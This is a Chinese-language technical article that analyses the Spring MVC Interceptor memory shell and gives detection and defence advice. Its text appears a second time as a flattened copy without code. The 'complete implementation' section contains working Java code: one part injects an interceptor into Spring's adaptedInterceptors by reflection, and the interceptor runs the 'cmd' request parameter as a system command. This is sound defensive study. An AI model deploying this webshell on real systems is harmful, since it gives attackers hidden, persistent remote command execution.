Java安全之Spring Interceptor内存马
字数 1909 2025-11-02 00:39:25

Spring Interceptor 内存马技术分析与防御指南

一、Spring Interceptor 基础概念

1.1 什么是 Spring Interceptor?

Spring Interceptor 是 Spring MVC 框架提供的拦截机制,用于在请求处理的特定阶段执行自定义逻辑。它类似于 Servlet 的 Filter,但作用于更上层的 MVC 流程中,由 Spring 容器管理。

1.2 核心接口:HandlerInterceptor

开发者需要实现 org.springframework.web.servlet.HandlerInterceptor 接口,重写以下三个关键方法:

preHandle() 方法

boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
  • 在控制器方法执行前调用
  • 返回值为 boolean 类型:
    • true: 继续执行后续的拦截器和控制器方法
    • false: 中断流程,不再执行后续操作
  • 典型应用:权限校验、日志记录、参数预处理

postHandle() 方法

void postHandle(HttpServletRequest request, HttpServletResponse response, 
                Object handler, ModelAndView modelAndView)
  • 在控制器方法执行完毕后,视图渲染前调用
  • 可对 ModelAndView 对象进行修改或添加数据

afterCompletion() 方法

void afterCompletion(HttpServletRequest request, HttpServletResponse response, 
                     Object handler, Exception ex)
  • 在整个请求完成后(包括视图渲染)调用
  • 主要用于资源清理工作,无论是否发生异常都会执行

1.3 正常注册与使用

通过实现 WebMvcConfigurer 接口注册拦截器:

@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new MyCustomInterceptor())
                .addPathPatterns("/api/**")      // 拦截路径
                .excludePathPatterns("/api/public/**"); // 排除路径
    }
}

二、Interceptor 内存马攻击原理

2.1 攻击核心机制

关键组件分析

  1. AbstractHandlerMapping:Spring MVC 中处理请求映射的核心类
  2. adaptedInterceptors:protected final 字段,存储所有注册的拦截器
  3. HandlerExecutionChain:每个请求的处理执行链

攻击流程分析

DispatcherServlet → getHandler() 
               → mapping.getHandler() 
               → getHandlerExecutionChain() 
               → 遍历 adaptedInterceptors 把每个 interceptor 加入 chain

2.2 关键代码分析

getHandlerExecutionChain() 方法

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, 
                                                        HttpServletRequest request) {
    HandlerExecutionChain chain = ...;
    
    for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
        if (interceptor instanceof MappedInterceptor) {
            MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
            if (mappedInterceptor.matches(request)) {
                chain.addInterceptor(mappedInterceptor.getInterceptor());
            }
        } else {
            chain.addInterceptor(interceptor);  // 关键注入点
        }
    }
    return chain;
}

2.3 内存马注入必要条件

  1. 持久化监听:必须参与每一次请求处理
  2. 进入 HandlerExecutionChain:恶意拦截器必须出现在处理链中
  3. 注入 adaptedInterceptors:必须修改全局拦截器列表
  4. 获取 RequestMappingHandlerMapping 实例:从 Spring 容器中获取正在运行的实例

三、内存马完整实现代码

3.1 恶意拦截器实现

public static class MaliciousInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, 
                           HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            // 命令执行逻辑
            Runtime.getRuntime().exec(cmd);
        }
        return HandlerInterceptor.super.preHandle(request, response, handler);
    }
}

3.2 注入控制器

@RestController
public class InterceptorShell {
    
    @RequestMapping("/inject")
    public String inject() {
        // 1. 获取 WebApplicationContext
        WebApplicationContext context = (WebApplicationContext) 
            RequestContextHolder.currentRequestAttributes()
                .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 2. 获取 RequestMappingHandlerMapping 实例
        RequestMappingHandlerMapping rmhm = context.getBean(RequestMappingHandlerMapping.class);
        
        try {
            // 3. 反射访问 adaptedInterceptors 字段
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            
            // 4. 获取并修改拦截器列表
            List<HandlerInterceptor> interceptors = 
                (List<HandlerInterceptor>) field.get(rmhm);
            interceptors.add(new MaliciousInterceptor());
            
        } catch (NoSuchFieldException | IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        
        return "inject success";
    }
}

四、攻击执行流程详解

4.1 注入阶段

  1. 漏洞触发:通过反序列化、SpEL 注入等方式获得代码执行权限
  2. 上下文获取:利用 RequestContextHolder 获取当前请求的 WebApplicationContext
  3. Bean 获取:从容器中获取 RequestMappingHandlerMapping 实例
  4. 反射修改:通过反射将恶意拦截器添加到 adaptedInterceptors 列表

4.2 命令执行阶段

  1. 用户请求:访问任意路径并携带命令参数(如 /index.html?cmd=whoami
  2. 拦截器触发
    • DispatcherServlet.doDispatch() 处理请求
    • 创建 HandlerExecutionChain 时包含恶意拦截器
    • applyPreHandle() 调用恶意拦截器的 preHandle 方法
  3. 命令执行:通过 Runtime.exec() 执行系统命令

五、检测与防御方案

5.1 检测方法

静态检测

// 检查 adaptedInterceptors 中的可疑拦截器
public void checkInterceptors() {
    RequestMappingHandlerMapping rmhm = ...;
    Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
    field.setAccessible(true);
    List<HandlerInterceptor> interceptors = (List<HandlerInterceptor>) field.get(rmhm);
    
    for (HandlerInterceptor interceptor : interceptors) {
        if (interceptor.getClass().getName().contains("Malicious")) {
            // 发现可疑拦截器
        }
    }
}

动态监控

  • 监控 Runtime.exec() 等敏感方法的调用栈
  • 检查拦截器列表中新增的未知拦截器

5.2 防御措施

代码层面

  1. 输入验证:严格校验所有用户输入
  2. 安全编码:避免使用危险的反射操作
  3. 权限控制:限制敏感方法的访问权限

配置层面

  1. 安全加固:禁用不必要的反射功能
  2. 监控告警:部署 RASP 进行运行时保护
  3. 定期审计:检查拦截器配置和代码变更

5.3 应急响应

  1. 立即隔离:断开受影响系统的网络连接
  2. 内存分析:使用内存分析工具检测恶意代码
  3. 清除恢复:重启服务并修复安全漏洞
  4. 溯源分析:确定攻击入口和影响范围

六、总结

Spring Interceptor 内存马是一种危害性极大的持久化攻击技术,攻击者通过反射机制修改 Spring MVC 的核心组件,实现无文件落地的远程命令执行。理解其工作原理对于安全防护至关重要,安全团队应加强对此类攻击的检测和防御能力。

关键防护要点:

  • 严格控制反射操作的使用
  • 加强运行时安全监控
  • 定期进行安全代码审计
  • 建立完善的安全应急响应机制
Spring Interceptor 内存马技术分析与防御指南 一、Spring Interceptor 基础概念 1.1 什么是 Spring Interceptor? Spring Interceptor 是 Spring MVC 框架提供的拦截机制,用于在请求处理的特定阶段执行自定义逻辑。它类似于 Servlet 的 Filter,但作用于更上层的 MVC 流程中,由 Spring 容器管理。 1.2 核心接口:HandlerInterceptor 开发者需要实现 org.springframework.web.servlet.HandlerInterceptor 接口,重写以下三个关键方法: preHandle() 方法 在控制器方法执行前调用 返回值为 boolean 类型: true : 继续执行后续的拦截器和控制器方法 false : 中断流程,不再执行后续操作 典型应用:权限校验、日志记录、参数预处理 postHandle() 方法 在控制器方法执行完毕后,视图渲染前调用 可对 ModelAndView 对象进行修改或添加数据 afterCompletion() 方法 在整个请求完成后(包括视图渲染)调用 主要用于资源清理工作,无论是否发生异常都会执行 1.3 正常注册与使用 通过实现 WebMvcConfigurer 接口注册拦截器: 二、Interceptor 内存马攻击原理 2.1 攻击核心机制 关键组件分析 AbstractHandlerMapping :Spring MVC 中处理请求映射的核心类 adaptedInterceptors :protected final 字段,存储所有注册的拦截器 HandlerExecutionChain :每个请求的处理执行链 攻击流程分析 2.2 关键代码分析 getHandlerExecutionChain() 方法 2.3 内存马注入必要条件 持久化监听 :必须参与每一次请求处理 进入 HandlerExecutionChain :恶意拦截器必须出现在处理链中 注入 adaptedInterceptors :必须修改全局拦截器列表 获取 RequestMappingHandlerMapping 实例 :从 Spring 容器中获取正在运行的实例 三、内存马完整实现代码 3.1 恶意拦截器实现 3.2 注入控制器 四、攻击执行流程详解 4.1 注入阶段 漏洞触发 :通过反序列化、SpEL 注入等方式获得代码执行权限 上下文获取 :利用 RequestContextHolder 获取当前请求的 WebApplicationContext Bean 获取 :从容器中获取 RequestMappingHandlerMapping 实例 反射修改 :通过反射将恶意拦截器添加到 adaptedInterceptors 列表 4.2 命令执行阶段 用户请求 :访问任意路径并携带命令参数(如 /index.html?cmd=whoami ) 拦截器触发 : DispatcherServlet.doDispatch() 处理请求 创建 HandlerExecutionChain 时包含恶意拦截器 applyPreHandle() 调用恶意拦截器的 preHandle 方法 命令执行 :通过 Runtime.exec() 执行系统命令 五、检测与防御方案 5.1 检测方法 静态检测 动态监控 监控 Runtime.exec() 等敏感方法的调用栈 检查拦截器列表中新增的未知拦截器 5.2 防御措施 代码层面 输入验证 :严格校验所有用户输入 安全编码 :避免使用危险的反射操作 权限控制 :限制敏感方法的访问权限 配置层面 安全加固 :禁用不必要的反射功能 监控告警 :部署 RASP 进行运行时保护 定期审计 :检查拦截器配置和代码变更 5.3 应急响应 立即隔离 :断开受影响系统的网络连接 内存分析 :使用内存分析工具检测恶意代码 清除恢复 :重启服务并修复安全漏洞 溯源分析 :确定攻击入口和影响范围 六、总结 Spring Interceptor 内存马是一种危害性极大的持久化攻击技术,攻击者通过反射机制修改 Spring MVC 的核心组件,实现无文件落地的远程命令执行。理解其工作原理对于安全防护至关重要,安全团队应加强对此类攻击的检测和防御能力。 关键防护要点: 严格控制反射操作的使用 加强运行时安全监控 定期进行安全代码审计 建立完善的安全应急响应机制